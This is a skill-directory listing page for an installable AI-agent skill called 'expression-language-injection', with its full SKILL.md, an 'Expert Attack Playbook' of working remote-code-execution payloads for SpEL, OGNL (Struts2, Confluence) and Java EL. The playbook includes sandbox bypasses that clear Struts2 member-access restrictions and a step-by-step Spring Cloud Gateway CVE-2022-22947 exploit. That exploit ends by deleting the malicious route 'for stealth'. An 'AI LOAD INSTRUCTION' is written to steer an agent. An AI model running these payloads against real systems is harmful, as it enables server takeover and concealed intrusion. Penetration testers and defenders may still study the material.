SkillAgentSearch skills...

expression-language-injection

Expression Language injection playbook

Install / Use

npx skills add yaklang/hack-skills --skill expression-language-injection

Installs into whichever agent you are using.

About this skill
šŸ“„

SKILL.md

Installable skill definition

Quality Score

86/100

Supported Platforms

Universal

Tags

Our assessment of expression-language-injection

expression-language-injection scores 86/100 on our quality scale, 2375th of 4,700 Development & Engineering skills we index.

Its SKILL.md is 7.9 KB long, well organised into 38 sections with 14 code examples: a thorough specification that gives an agent plenty to work with.

With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
8/15
Adoption
14/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so expression-language-injection is actively maintained.
  • Our last check on 2026-11-03 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Review

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to execute arbitrary remote code via SpEL/OGNL/Java EL payloads using Runtime.exec and ProcessBuilder.

AI review: risky

  • Instructs the agent to execute arbitrary remote code via SpEL/OGNL/Java EL payloads using Runtime.exec and ProcessBuilder
  • Provides step-by-step commands to add a malicious Spring Cloud Gateway route through the actuator and clean it up afterward for stealth
  • Includes sandbox-bypass techniques such as clearing _memberAccess, excludedClasses, and reflection-based restrictions to subvert safeguards

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

expression-language-injection compared with similar skills

All 4 of these similar skills score higher than expression-language-injection; compare them before choosing.

SkillScoreStarsUpdatedFormat
expression-language-injection (this skill)by yaklang862.3k2mo agoSKILL.md
taste-skillby Leonxlnx100116.8k8d agoCLAUDE.md
ai-job-searchby ai-job-search-dev10072.1ktodayCLAUDE.md
claude-howtoby luongnv8910047.3k2d agoCLAUDE.md
lobehubby lobehub10085.6ktodayMCP Server

Frequently asked questions

How do I install expression-language-injection?
Run npx skills add yaklang/hack-skills --skill expression-language-injection. The install tabs above show the steps for each supported agent.
Which AI agents does expression-language-injection work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is expression-language-injection safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to execute arbitrary remote code via SpEL/OGNL/Java EL payloads using Runtime.exec and ProcessBuilder. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is expression-language-injection still maintained?
The repository was last updated about 2 months ago, so expression-language-injection is actively maintained.

name: expression-language-injection description: >- Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.

SKILL: Expression Language Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass, _memberAccess manipulation, actuator abuse, and real-world CVE chains.

0. RELATED ROUTING

Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (${7*7}) but diverge in exploitation.


1. DETECTION — POLYGLOT PROBES

${7*7}              → 49 = SpEL, OGNL, or Java EL
#{7*7}              → 49 = SpEL (alternative syntax) or JSF EL
%{7*7}              → 49 = OGNL (Struts2)
${T(java.lang.Math).random()}  → random float = SpEL confirmed
%{#context}         → object dump = OGNL confirmed

Disambiguation

| Response to ${7*7} | Response to %{7*7} | Engine | |---|---|---| | 49 | literal %{7*7} | SpEL or Java EL | | literal ${7*7} | 49 | OGNL (Struts2) | | 49 | 49 | Both may be active |


2. SpEL (SPRING EXPRESSION LANGUAGE)

Where SpEL Appears

  • @Value("${...}") annotations
  • Spring Security expressions (@PreAuthorize)
  • Spring Cloud Gateway route predicates and filters
  • Thymeleaf th:text="${...}" (when combined with __${...}__ preprocessing)
  • Spring Data @Query with SpEL

RCE via Runtime.exec

${T(java.lang.Runtime).getRuntime().exec("id")}

RCE with Output Capture (Commons IO)

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

RCE with Output Capture (Spring StreamUtils)

#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}

ProcessBuilder (alternative when Runtime is blocked)

${new java.lang.ProcessBuilder(new String[]{"id"}).start()}

Spring Cloud Gateway — CVE-2022-22947

Exploit via actuator to add malicious route with SpEL filter:

# Step 1: Add route with SpEL in filter (with output capture)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
    }
  }],
  "uri": "http://example.com",
  "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}

# Step 2: Refresh routes to apply
POST /actuator/gateway/refresh

# Step 3: Trigger the route
GET /hackpath
# Response header "Result" contains command output

# Step 4: Clean up (important for stealth)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh

SpEL Sandbox Bypass

When SimpleEvaluationContext is used (restricts T() operator):

// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}

3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)

Where OGNL Appears

  • Apache Struts2 — primary OGNL consumer
  • Confluence Server — uses OGNL in certain request paths
  • Any Java app using ognl.Ognl.getValue() or ognl.Ognl.setValue()

Basic RCE

%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}

Struts2 Sandbox Bypass — _memberAccess Manipulation

Struts2 restricts OGNL via SecurityMemberAccess. Classic bypass clears restrictions:

%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Struts2 OgnlUtil Blacklist Clear

Later Struts2 versions use class/package blacklists. Bypass by clearing excludedClasses and excludedPackageNames:

%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}

Key Struts2 CVEs

| CVE | Vector | Payload Location | |---|---|---| | S2-045 (CVE-2017-5638) | Content-Type header | %{...} in Content-Type | | S2-046 (CVE-2017-5638) | Multipart filename | OGNL in upload filename | | S2-016 (CVE-2013-2251) | redirect: / redirectAction: prefix | URL parameter | | S2-048 (CVE-2017-9791) | Struts Showcase | ActionMessage with OGNL | | S2-057 (CVE-2018-11776) | Namespace OGNL | URL path |

Confluence OGNL — CVE-2021-26084

Confluence Server allows OGNL injection via the queryString or action parameters:

POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL-decoded: \u0027+{3*3}+\u0027
# If response contains 9 → confirmed
# Escalate to Runtime.exec for RCE

4. JAVA EL (JSP / JSF)

Where Java EL Appears

  • JSP pages: ${expression} and #{expression}
  • JSF (JavaServer Faces): value and method bindings
  • Custom tag libraries

RCE Payloads

// Java EL with Runtime:
${Runtime.getRuntime().exec("id")}

// Via pageContext (JSP):
${pageContext.request.getServletContext().getClassLoader()}

// Reflection-based:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

5. DETECTION METHODOLOGY

Input reflected and ${7*7} returns 49?
ā”œā”€ā”€ Java application?
│   ā”œā”€ā”€ Struts2? → Try %{...} OGNL payloads
│   │   └── Check Content-Type injection (S2-045)
│   ā”œā”€ā”€ Spring? → Try T(java.lang.Runtime) SpEL
│   │   └── Check /actuator/gateway (Spring Cloud Gateway)
│   ā”œā”€ā”€ Confluence? → Try OGNL via action parameters
│   └── JSP/JSF? → Try Java EL payloads
│
ā”œā”€ā”€ Error messages reveal framework?
│   ā”œā”€ā”€ "ognl.OgnlException" → OGNL
│   ā”œā”€ā”€ "SpelEvaluationException" → SpEL
│   └── "javax.el.ELException" → Java EL
│
└── Blocked by sandbox?
    ā”œā”€ā”€ OGNL: clear _memberAccess / excludedClasses
    ā”œā”€ā”€ SpEL: reflection bypass for SimpleEvaluationContext
    └── Try alternative exec methods (ProcessBuilder, ScriptEngine)

6. QUICK REFERENCE

# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}

# OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# OGNL with sandbox bypass:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

# Confluence CVE-2021-26084 probe:
queryString=\u0027%2b{3*3}%2b\u0027

# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x  → SpEL in filter args
POST /actuator/gateway/refresh

Related Skills

View on GitHub
GitHub Stars2.3k
CategoryDevelopment
Updated2mo ago
Forks303

Languages

CSS

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions
expression-language-injection — Universal Skill: Install & Safety Check | SkillAgent